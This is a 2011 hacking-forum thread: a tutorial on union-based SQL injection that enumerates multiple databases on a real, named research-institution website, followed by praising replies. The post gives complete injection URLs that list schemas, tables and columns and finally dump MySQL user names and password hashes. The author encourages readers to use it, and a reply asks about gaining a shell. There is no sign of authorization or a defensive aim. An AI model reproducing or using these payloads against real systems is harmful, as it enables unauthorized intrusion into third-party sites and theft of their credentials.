![]() |
|
[Tutorial] Getting Data From Multiple Databases [SQLi] - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43) +----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103) +----- Thread: [Tutorial] Getting Data From Multiple Databases [SQLi] (/showthread.php?tid=1877021) Pages: Pages
1
2
|
[Tutorial] Getting Data From Multiple Databases [SQLi] - -DownFall - Oct 31, 2011 So I've been seeing alot of sites with multiple databases, and since I haven't seen a tutorial on this, I figured it would help out some beginners. I'll be using this link as an example. http://www.hubbardbrook.org/people/view.php?id=109' Once you got your columns count, and vulnerable columns, you want to get the names of the databases. You can do that by using: Code group_concat(schema_name)Code from information_schema.schemataSo my link looks like this: Code http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.schemata--Now I see that there are 2 different databases, one called "hbr" and one called "mysql". Now we want to see which one is the default, or current one. First write those down in notepad or something. To find out, you pick your column, and use: Code database()Code http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--Now where column 4 was (my vulnerable column), we can see "hbr". So we know that's the current database. Now of course, you'd want to search through it to find your tables to see if you can find some login info. You would get the tables the normal way: Code http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.tables+where+table_schema=database()--There's over 100 tables, but I didn't see anything that resembled user info, so now we check the other database. It's almost the same thing as finding the default tables. My other database name was called "mysql". To get the tables of that, we convert it to hex, and use: Code where+table_schema=0xdatabasehexhereMake sure you always add 0x in front of your hex. Now my link looks like this: Code http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.tables+where+table_schema=0x6d7973716c--Now we got the tables from the second database, and we can see that theres a table named user! Now we get the info from the users table, but make sure you keep the table_schema for that database. So now my link looks like this: Code http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572--0x75736572 is the hex of "user". So basically what I did was converted my table name to hex, and got the columns from the database. Now we want the data from the columns. It's still almost the same, except for the very last bit. There are 2 columns named "User" and "Password", which is what we want. So make your group_concat function, but at the end, the syntax would be: Code +from+databasename.tablenameCode http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(User,0x3a,Password,0x0a),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user--And as you can see, there are now logins where your column name was. Hope you guys understood, happy hacking! ✌ * - HidingInSpace - Oct 31, 2011 excellent tut bro people will be bookmarking this page * - SIM-974023 - Oct 31, 2011 Nice, Bro. Very detailed, And overall good post! * - noober1001 - Nov 1, 2011 Great tut bro. Thank you so much for sharing. * - -DownFall - Nov 1, 2011 (Nov 1, 2011 12:02 AM)noober1001 Wrote: Great tut bro. No problem, hope you learned something. 🤝 * - Pirate - Nov 1, 2011 Good share mate. :) Thanks for sharing! * - Dyme - Nov 1, 2011 Very intelligent man, and wonderful tutorial. Keep up the good work my friend. * - VipVince - Nov 1, 2011 Really good tutorial OP. Well explained! * - jaguar kid - Nov 1, 2011 is it me or is there site having problems? http://prntscr.com/3sln2 how ironic * - -DownFall - Nov 1, 2011 (Nov 1, 2011 10:30 AM)jaguar kid Wrote: is it me or is there site having problems? Looks like that site is already fucked up o.o Thanks for the feedback everyone. * - waqas.nice - Nov 1, 2011 thanx for a nice and very informative tutorial :) * - -DownFall - Nov 1, 2011 (Nov 1, 2011 11:22 AM)waqas.nice Wrote: thanx for a nice and very informative tutorial :) No problem, have fun searching them dbs. * - __MizerY__ - Nov 4, 2011 Thanks, this is very well explained. * - -DownFall - Nov 16, 2011 (Nov 4, 2011 04:09 PM)__MizerY__ Wrote: Thanks, this is very well explained. I'm glad you liked it, hope you put it to use. 🤝 * - cypherAn - Dec 29, 2011 it's good but it's not finish what is your method for shelling ? can u explain . |